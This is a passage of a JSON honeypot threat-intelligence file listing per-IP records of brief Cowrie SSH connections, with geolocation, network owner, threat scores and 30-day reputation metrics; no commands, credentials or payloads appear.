      "attack_count": 2,
      "first_seen": "2026-05-09T09:59:14.660Z",
      "last_seen": "2026-05-09T09:59:27.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dongyang",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:59:14.660000+00:00",
        "last_seen_30d": "2026-05-09T10:00:36.144000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.196.160.196": {
      "attack_count": 2,
      "first_seen": "2026-05-06T06:26:39.562Z",
      "last_seen": "2026-05-06T06:26:52.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Bernardo do Campo",
      "asn": 265943,
      "as_org": "RCTelecom Telecomunicacoes LTDA-ME",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:26:39.562000+00:00",
        "last_seen_30d": "2026-05-06T06:27:55.829000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.111": {
      "attack_count": 2,
      "first_seen": "2026-05-24T02:20:51.799Z",
      "last_seen": "2026-05-24T02:20:52.127Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-03T02:29:21+00:00",
        "last_seen_30d": "2026-05-30T07:12:04.226000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 23,
        "ConPot": 8,
        "Mailoney": 5,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "152.174.11.144": {
      "attack_count": 2,
      "first_seen": "2026-05-24T13:51:11.549Z",
      "last_seen": "2026-05-24T13:51:26.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Ovalle",
      "asn": 7418,
      "as_org": "TELEFONICA CHILE S.A.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:51:11.549000+00:00",
        "last_seen_30d": "2026-05-24T13:52:37.247000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.197.244.103": {
      "attack_count": 2,
      "first_seen": "2026-05-12T07:12:58.875Z",
      "last_seen": "2026-05-12T07:13:11.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 61908,
      "as_org": "Nova Net Telecomunicacoes Ltda",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:12:58.875000+00:00",
        "last_seen_30d": "2026-05-12T07:14:16.475000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.0.110.221": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:41:04.422Z",
      "last_seen": "2026-05-22T13:41:43.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:41:04.422000+00:00",
        "last_seen_30d": "2026-05-22T13:42:50.491000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.182.156.61": {
      "attack_count": 2,
      "first_seen": "2026-05-15T00:18:17.853Z",
      "last_seen": "2026-05-15T00:18:31.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T00:18:17.853000+00:00",
        "last_seen_30d": "2026-05-15T00:19:32.727000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.46.131.49": {
      "attack_count": 2,
      "first_seen": "2026-05-25T09:06:27.116Z",
      "last_seen": "2026-05-25T09:06:40.552Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:06:27.116000+00:00",
        "last_seen_30d": "2026-05-25T09:07:41.735000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.140.75.153": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:41:42.312Z",
      "last_seen": "2026-05-10T06:41:55.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Celaya",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:41:42.312000+00:00",
        "last_seen_30d": "2026-05-10T06:42:55.995000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.52.173.101": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:27:22.117Z",
      "last_seen": "2026-05-11T12:27:34.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:27:22.117000+00:00",
        "last_seen_30d": "2026-05-11T12:28:35.300000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.18.209.161": {
      "attack_count": 2,
      "first_seen": "2026-05-03T23:30:02.277Z",
      "last_seen": "2026-05-03T23:30:15.179Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Tres Arroyos",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T23:30:02.277000+00:00",
        "last_seen_30d": "2026-05-03T23:31:26.637000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.5.54.88": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:16:14.299Z",
      "last_seen": "2026-05-12T17:16:27.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Medianeira",
      "asn": 263532,
      "as_org": "VIAR TELECOMUNICACOES LTDA",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:16:14.299000+00:00",
        "last_seen_30d": "2026-05-12T17:17:29.764000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.65.169.30": {
      "attack_count": 2,
      "first_seen": "2026-05-06T13:17:28.505Z",
      "last_seen": "2026-05-06T13:17:40.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T13:17:28.505000+00:00",
        "last_seen_30d": "2026-05-06T13:18:50.673000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.208.177.10": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:14:31.028Z",
      "last_seen": "2026-05-17T06:14:45.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:14:31.028000+00:00",
        "last_seen_30d": "2026-05-17T06:15:54.614000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.70.99.3": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:23:19.254Z",
      "last_seen": "2026-05-06T10:23:32.564Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 48728,
      "as_org": "Vodafone Qatar P.Q.S.C",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:23:19.254000+00:00",
        "last_seen_30d": "2026-05-06T10:24:39.843000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "217.113.17.250": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:02:00.119Z",
      "last_seen": "2026-05-08T19:02:13.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 201363,
      "as_org": "YOURnet LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:02:00.119000+00:00",
        "last_seen_30d": "2026-05-08T19:03:18.300000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "219.155.94.241": {
      "attack_count": 2,
      "first_seen": "2026-05-23T15:50:38.403Z",
      "last_seen": "2026-05-23T15:50:51.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T15:50:38.403000+00:00",
        "last_seen_30d": "2026-05-23T15:51:53.753000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.228.10.226": {
      "attack_count": 2,
      "first_seen": "2026-05-29T17:05:33.529Z",
      "last_seen": "2026-05-29T17:05:34.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T20:52:58+00:00",
        "last_seen_30d": "2026-05-29T17:07:34.607000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "24.184.50.142": {
      "attack_count": 2,
      "first_seen": "2026-05-04T18:26:45.935Z",
      "last_seen": "2026-05-04T18:26:58.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Trenton",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:26:45.935000+00:00",
        "last_seen_30d": "2026-05-04T18:28:00.590000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.25.67.40": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:40:38.688Z",
      "last_seen": "2026-05-20T18:40:51.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:40:38.688000+00:00",
        "last_seen_30d": "2026-05-20T18:41:57.308000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.50.197.168": {
      "attack_count": 2,
      "first_seen": "2026-05-06T14:08:55.020Z",
      "last_seen": "2026-05-06T14:09:08.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 149584,
      "as_org": "SCNSKY DIGITAL OPC PRIVATE LIMITED",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:08:55.020000+00:00",
        "last_seen_30d": "2026-05-06T14:10:13.149000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.250.80.42": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:18:05.002Z",
      "last_seen": "2026-05-06T09:18:18.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 58689,
      "as_org": "ICC Communication",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:18:05.002000+00:00",
        "last_seen_30d": "2026-05-06T09:19:19.310000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.109.42": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:46:26.368Z",
      "last_seen": "2026-05-22T13:46:58.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:46:26.368000+00:00",
        "last_seen_30d": "2026-05-22T13:48:05.072000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.189.207.6": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:55:57.933Z",
      "last_seen": "2026-05-23T08:56:26.439Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:55:57.933000+00:00",
        "last_seen_30d": "2026-05-23T08:57:30.321000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.89.30.31": {
      "attack_count": 2,
      "first_seen": "2026-05-15T01:09:35.396Z",
      "last_seen": "2026-05-15T01:10:06.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:09:35.396000+00:00",
        "last_seen_30d": "2026-05-15T01:11:15.175000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "69.55.118.20": {
      "attack_count": 2,
      "first_seen": "2026-05-20T20:33:58.017Z",
      "last_seen": "2026-05-20T20:35:58.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dandridge",
      "asn": 19331,
      "as_org": "Twin Lakes Telephone Cooperative Corporation",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:57:57.347000+00:00",
        "last_seen_30d": "2026-05-20T20:46:45.285000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "77.75.14.238": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:35:28.196Z",
      "last_seen": "2026-05-23T00:37:28.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Pyatigorsk",
      "asn": 12494,
      "as_org": "OOO Post ltd",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-23T00:35:28.196000+00:00",
        "last_seen_30d": "2026-05-23T00:37:28.197000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2
      }
    },
    "79.129.188.87": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:40:45.863Z",
      "last_seen": "2026-05-12T16:40:45.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:40:45.863000+00:00",
        "last_seen_30d": "2026-05-12T16:41:51.840000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.208.155.68": {
      "attack_count": 2,
      "first_seen": "2026-05-04T17:55:52.127Z",
      "last_seen": "2026-05-04T17:56:04.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "M\u00fcnsingen",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
